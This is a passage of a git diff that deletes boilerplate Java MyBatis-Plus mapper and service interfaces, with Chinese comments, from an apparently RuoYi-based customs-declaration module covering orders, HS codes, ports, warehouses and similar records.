deleteCustomProductRecordByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomRegionCodeMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomRegionCodeMapper.java deleted file mode 100644 index 203d010..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomRegionCodeMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomRegionCode; -import com.ruoyi.custom.domain.CustomRegionCodePlus; - -/** - * 国家行政区划代码Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomRegionCodeMapper extends BaseMapper -{ - /** - * 查询国家行政区划代码 - * - * @param id 国家行政区划代码ID - * @return 国家行政区划代码 - */ - public CustomRegionCode selectCustomRegionCodeById(Long id); - - /** - * 查询国家行政区划代码列表 - * - * @param customRegionCode 国家行政区划代码 - * @return 国家行政区划代码集合 - */ - public List selectCustomRegionCodeList(CustomRegionCode customRegionCode); - - /** - * 新增国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - public int insertCustomRegionCode(CustomRegionCode customRegionCode); - - /** - * 修改国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - public int updateCustomRegionCode(CustomRegionCode customRegionCode); - - /** - * 删除国家行政区划代码 - * - * @param id 国家行政区划代码ID - * @return 结果 - */ - public int deleteCustomRegionCodeById(Long id); - - /** - * 批量删除国家行政区划代码 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomRegionCodeByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomUnitCodeMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomUnitCodeMapper.java deleted file mode 100644 index e865c2b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomUnitCodeMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomUnitCode; -import com.ruoyi.custom.domain.CustomUnitCodePlus; - -/** - * 计量单位代码Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomUnitCodeMapper extends BaseMapper -{ - /** - * 查询计量单位代码 - * - * @param id 计量单位代码ID - * @return 计量单位代码 - */ - public CustomUnitCode selectCustomUnitCodeById(Long id); - - /** - * 查询计量单位代码列表 - * - * @param customUnitCode 计量单位代码 - * @return 计量单位代码集合 - */ - public List selectCustomUnitCodeList(CustomUnitCode customUnitCode); - - /** - * 新增计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - public int insertCustomUnitCode(CustomUnitCode customUnitCode); - - /** - * 修改计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - public int updateCustomUnitCode(CustomUnitCode customUnitCode); - - /** - * 删除计量单位代码 - * - * @param id 计量单位代码ID - * @return 结果 - */ - public int deleteCustomUnitCodeById(Long id); - - /** - * 批量删除计量单位代码 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomUnitCodeByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomWarehouseMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomWarehouseMapper.java deleted file mode 100644 index 36f1aea..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomWarehouseMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomWarehouse; -import com.ruoyi.custom.domain.CustomWarehousePlus; - -/** - * 仓库Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomWarehouseMapper extends BaseMapper -{ - /** - * 查询仓库 - * - * @param id 仓库ID - * @return 仓库 - */ - public CustomWarehouse selectCustomWarehouseById(Long id); - - /** - * 查询仓库列表 - * - * @param customWarehouse 仓库 - * @return 仓库集合 - */ - public List selectCustomWarehouseList(CustomWarehouse customWarehouse); - - /** - * 新增仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - public int insertCustomWarehouse(CustomWarehouse customWarehouse); - - /** - * 修改仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - public int updateCustomWarehouse(CustomWarehouse customWarehouse); - - /** - * 删除仓库 - * - * @param id 仓库ID - * @return 结果 - */ - public int deleteCustomWarehouseById(Long id); - - /** - * 批量删除仓库 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomWarehouseByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCallbackService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCallbackService.java deleted file mode 100644 index cbe12d3..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCallbackService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomCallback; -import com.ruoyi.custom.domain.CustomCallbackPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 海关回查Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomCallbackService extends IService -{ - /** - * 查询海关回查 - * - * @param id 海关回查ID - * @return 海关回查 - */ - public CustomCallback selectCustomCallbackById(Long id); - - /** - * 查询海关回查列表 - * - * @param customCallback 海关回查 - * @return 海关回查集合 - */ - public List selectCustomCallbackList(CustomCallback customCallback); - - /** - * 新增海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - public int insertCustomCallback(CustomCallback customCallback); - - /** - * 修改海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - public int updateCustomCallback(CustomCallback customCallback); - - /** - * 批量删除海关回查 - * - * @param ids 需要删除的海关回查ID - * @return 结果 - */ - public int deleteCustomCallbackByIds(Long[] ids); - - /** - * 删除海关回查信息 - * - * @param id 海关回查ID - * @return 结果 - */ - public int deleteCustomCallbackById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomCallbackPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCountryCodeService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCountryCodeService.java deleted file mode 100644 index 5c1e68e..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomCountryCodeService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomCountryCode; -import com.ruoyi.custom.domain.CustomCountryCodePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 国别代码Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomCountryCodeService extends IService -{ - /** - * 查询国别代码 - * - * @param id 国别代码ID - * @return 国别代码 - */ - public CustomCountryCode selectCustomCountryCodeById(Long id); - - /** - * 查询国别代码列表 - * - * @param customCountryCode 国别代码 - * @return 国别代码集合 - */ - public List selectCustomCountryCodeList(CustomCountryCode customCountryCode); - - /** - * 新增国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - public int insertCustomCountryCode(CustomCountryCode customCountryCode); - - /** - * 修改国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - public int updateCustomCountryCode(CustomCountryCode customCountryCode); - - /** - * 批量删除国别代码 - * - * @param ids 需要删除的国别代码ID - * @return 结果 - */ - public int deleteCustomCountryCodeByIds(Long[] ids); - - /** - * 删除国别代码信息 - * - * @param id 国别代码ID - * @return 结果 - */ - public int deleteCustomCountryCodeById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomCountryCodePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomDeclarePortService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomDeclarePortService.java deleted file mode 100644 index 927def3..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomDeclarePortService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomDeclarePort; -import com.ruoyi.custom.domain.CustomDeclarePortPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 申报口岸Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomDeclarePortService extends IService -{ - /** - * 查询申报口岸 - * - * @param id 申报口岸ID - * @return 申报口岸 - */ - public CustomDeclarePort selectCustomDeclarePortById(Long id); - - /** - * 查询申报口岸列表 - * - * @param customDeclarePort 申报口岸 - * @return 申报口岸集合 - */ - public List selectCustomDeclarePortList(CustomDeclarePort customDeclarePort); - - /** - * 新增申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - public int insertCustomDeclarePort(CustomDeclarePort customDeclarePort); - - /** - * 修改申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - public int updateCustomDeclarePort(CustomDeclarePort customDeclarePort); - - /** - * 批量删除申报口岸 - * - * @param ids 需要删除的申报口岸ID - * @return 结果 - */ - public int deleteCustomDeclarePortByIds(Long[] ids); - - /** - * 删除申报口岸信息 - * - * @param id 申报口岸ID - * @return 结果 - */ - public int deleteCustomDeclarePortById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomDeclarePortPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomEnterpriseRecordService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomEnterpriseRecordService.java deleted file mode 100644 index c46ad59..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomEnterpriseRecordService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomEnterpriseRecord; -import com.ruoyi.custom.domain.CustomEnterpriseRecordPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 企业备案Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomEnterpriseRecordService extends IService -{ - /** - * 查询企业备案 - * - * @param id 企业备案ID - * @return 企业备案 - */ - public CustomEnterpriseRecord selectCustomEnterpriseRecordById(Long id); - - /** - * 查询企业备案列表 - * - * @param customEnterpriseRecord 企业备案 - * @return 企业备案集合 - */ - public List selectCustomEnterpriseRecordList(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 新增企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - public int insertCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 修改企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - public int updateCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 批量删除企业备案 - * - * @param ids 需要删除的企业备案ID - * @return 结果 - */ - public int deleteCustomEnterpriseRecordByIds(Long[] ids); - - /** - * 删除企业备案信息 - * - * @param id 企业备案ID - * @return 结果 - */ - public int deleteCustomEnterpriseRecordById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomEnterpriseRecordPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomFlightInfoService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomFlightInfoService.java deleted file mode 100644 index a2ea219..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomFlightInfoService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomFlightInfo; -import com.ruoyi.custom.domain.CustomFlightInfoPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 航班信息Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomFlightInfoService extends IService -{ - /** - * 查询航班信息 - * - * @param id 航班信息ID - * @return 航班信息 - */ - public CustomFlightInfo selectCustomFlightInfoById(Long id); - - /** - * 查询航班信息列表 - * - * @param customFlightInfo 航班信息 - * @return 航班信息集合 - */ - public List selectCustomFlightInfoList(CustomFlightInfo customFlightInfo); - - /** - * 新增航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - public int insertCustomFlightInfo(CustomFlightInfo customFlightInfo); - - /** - * 修改航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - public int updateCustomFlightInfo(CustomFlightInfo customFlightInfo); - - /** - * 批量删除航班信息 - * - * @param ids 需要删除的航班信息ID - * @return 结果 - */ - public int deleteCustomFlightInfoByIds(Long[] ids); - - /** - * 删除航班信息信息 - * - * @param id 航班信息ID - * @return 结果 - */ - public int deleteCustomFlightInfoById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomFlightInfoPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomHsCodeService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomHsCodeService.java deleted file mode 100644 index 2a8f1a3..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomHsCodeService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomHsCode; -import com.ruoyi.custom.domain.CustomHsCodePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * HS编码Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomHsCodeService extends IService -{ - /** - * 查询HS编码 - * - * @param id HS编码ID - * @return HS编码 - */ - public CustomHsCode selectCustomHsCodeById(Long id); - - /** - * 查询HS编码列表 - * - * @param customHsCode HS编码 - * @return HS编码集合 - */ - public List selectCustomHsCodeList(CustomHsCode customHsCode); - - /** - * 新增HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - public int insertCustomHsCode(CustomHsCode customHsCode); - - /** - * 修改HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - public int updateCustomHsCode(CustomHsCode customHsCode); - - /** - * 批量删除HS编码 - * - * @param ids 需要删除的HS编码ID - * @return 结果 - */ - public int deleteCustomHsCodeByIds(Long[] ids); - - /** - * 删除HS编码信息 - * - * @param id HS编码ID - * @return 结果 - */ - public int deleteCustomHsCodeById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomHsCodePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomInventoryService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomInventoryService.java deleted file mode 100644 index d7b50c0..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomInventoryService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomInventory; -import com.ruoyi.custom.domain.CustomInventoryPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 正面清单Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomInventoryService extends IService -{ - /** - * 查询正面清单 - * - * @param id 正面清单ID - * @return 正面清单 - */ - public CustomInventory selectCustomInventoryById(Long id); - - /** - * 查询正面清单列表 - * - * @param customInventory 正面清单 - * @return 正面清单集合 - */ - public List selectCustomInventoryList(CustomInventory customInventory); - - /** - * 新增正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - public int insertCustomInventory(CustomInventory customInventory); - - /** - * 修改正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - public int updateCustomInventory(CustomInventory customInventory); - - /** - * 批量删除正面清单 - * - * @param ids 需要删除的正面清单ID - * @return 结果 - */ - public int deleteCustomInventoryByIds(Long[] ids); - - /** - * 删除正面清单信息 - * - * @param id 正面清单ID - * @return 结果 - */ - public int deleteCustomInventoryById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomInventoryPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderItemService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderItemService.java deleted file mode 100644 index 12845ff..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderItemService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomOrderItem; -import com.ruoyi.custom.domain.CustomOrderItemPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 备案订单项Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomOrderItemService extends IService -{ - /** - * 查询备案订单项 - * - * @param id 备案订单项ID - * @return 备案订单项 - */ - public CustomOrderItem selectCustomOrderItemById(Long id); - - /** - * 查询备案订单项列表 - * - * @param customOrderItem 备案订单项 - * @return 备案订单项集合 - */ - public List selectCustomOrderItemList(CustomOrderItem customOrderItem); - - /** - * 新增备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - public int insertCustomOrderItem(CustomOrderItem customOrderItem); - - /** - * 修改备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - public int updateCustomOrderItem(CustomOrderItem customOrderItem); - - /** - * 批量删除备案订单项 - * - * @param ids 需要删除的备案订单项ID - * @return 结果 - */ - public int deleteCustomOrderItemByIds(Long[] ids); - - /** - * 删除备案订单项信息 - * - * @param id 备案订单项ID - * @return 结果 - */ - public int deleteCustomOrderItemById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomOrderItemPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderService.java deleted file mode 100644 index cd408cc..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomOrderService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomOrder; -import com.ruoyi.custom.domain.CustomOrderPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 备案订单Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomOrderService extends IService -{ - /** - * 查询备案订单 - * - * @param id 备案订单ID - * @return 备案订单 - */ - public CustomOrder selectCustomOrderById(Long id); - - /** - * 查询备案订单列表 - * - * @param customOrder 备案订单 - * @return 备案订单集合 - */ - public List selectCustomOrderList(CustomOrder customOrder); - - /** - * 新增备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - public int insertCustomOrder(CustomOrder customOrder); - - /** - * 修改备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - public int updateCustomOrder(CustomOrder customOrder); - - /** - * 批量删除备案订单 - * - * @param ids 需要删除的备案订单ID - * @return 结果 - */ - public int deleteCustomOrderByIds(Long[] ids); - - /** - * 删除备案订单信息 - * - * @param id 备案订单ID - * @return 结果 - */ - public int deleteCustomOrderById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomOrderPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomParcelNumberService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomParcelNumberService.java deleted file mode 100644 index 59edbbe..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomParcelNumberService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomParcelNumber; -import com.ruoyi.custom.domain.CustomParcelNumberPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 行邮税号Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomParcelNumberService extends IService -{ - /** - * 查询行邮税号 - * - * @param id 行邮税号ID - * @return 行邮税号 - */ - public CustomParcelNumber selectCustomParcelNumberById(Long id); - - /** - * 查询行邮税号列表 - * - * @param customParcelNumber 行邮税号 - * @return 行邮税号集合 - */ - public List selectCustomParcelNumberList(CustomParcelNumber customParcelNumber); - - /** - * 新增行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - public int insertCustomParcelNumber(CustomParcelNumber customParcelNumber); - - /** - * 修改行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - public int updateCustomParcelNumber(CustomParcelNumber customParcelNumber); - - /** - * 批量删除行邮税号 - * - * @param ids 需要删除的行邮税号ID - * @return 结果 - */ - public int deleteCustomParcelNumberByIds(Long[] ids); - - /** - * 删除行邮税号信息 - * - * @param id 行邮税号ID - * @return 结果 - */ - public int deleteCustomParcelNumberById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomParcelNumberPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomProductRecordService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomProductRecordService.java deleted file mode 100644 index b0d1e5d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomProductRecordService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomProductRecord; -import com.ruoyi.custom.domain.CustomProductRecordPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 商品备案Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomProductRecordService extends IService -{ - /** - * 查询商品备案 - * - * @param id 商品备案ID - * @return 商品备案 - */ - public CustomProductRecord selectCustomProductRecordById(Long id); - - /** - * 查询商品备案列表 - * - * @param customProductRecord 商品备案 - * @return 商品备案集合 - */ - public List selectCustomProductRecordList(CustomProductRecord customProductRecord); - - /** - * 新增商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - public int insertCustomProductRecord(CustomProductRecord customProductRecord); - - /** - * 修改商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - public int updateCustomProductRecord(CustomProductRecord customProductRecord); - - /** - * 批量删除商品备案 - * - * @param ids 需要删除的商品备案ID - * @return 结果 - */ - public int deleteCustomProductRecordByIds(Long[] ids); - - /** - * 删除商品备案信息 - * - * @param id 商品备案ID - * @return 结果 - */ - public int deleteCustomProductRecordById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomProductRecordPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomRegionCodeService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomRegionCodeService.java deleted file mode 100644 index 9117d81..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomRegionCodeService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomRegionCode; -import com.ruoyi.custom.domain.CustomRegionCodePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 国家行政区划代码Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomRegionCodeService extends IService -{ - /** - * 查询国家行政区划代码 - * - * @param id 国家行政区划代码ID - * @return 国家行政区划代码 - */ - public CustomRegionCode selectCustomRegionCodeById(Long id); - - /** - * 查询国家行政区划代码列表 - * - * @param customRegionCode 国家行政区划代码 - * @return 国家行政区划代码集合 - */ - public List selectCustomRegionCodeList(CustomRegionCode customRegionCode); - - /** - * 新增国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - public int insertCustomRegionCode(CustomRegionCode customRegionCode); - - /** - * 修改国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - public int updateCustomRegionCode(CustomRegionCode customRegionCode); - - /** - * 批量删除国家行政区划代码 - * - * @param ids 需要删除的国家行政区划代码ID - * @return 结果 - */ - public int deleteCustomRegionCodeByIds(Long[] ids); - - /** - * 删除国家行政区划代码信息 - * - * @param id 国家行政区划代码ID - * @return 结果 - */ - public int deleteCustomRegionCodeById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomRegionCodePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomUnitCodeService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomUnitCodeService.java deleted file mode 100644 index 233cee9..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomUnitCodeService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomUnitCode; -import com.ruoyi.custom.domain.CustomUnitCodePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 计量单位代码Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomUnitCodeService extends IService -{ - /** - * 查询计量单位代码 - * - * @param id 计量单位代码ID - * @return 计量单位代码 - */ - public 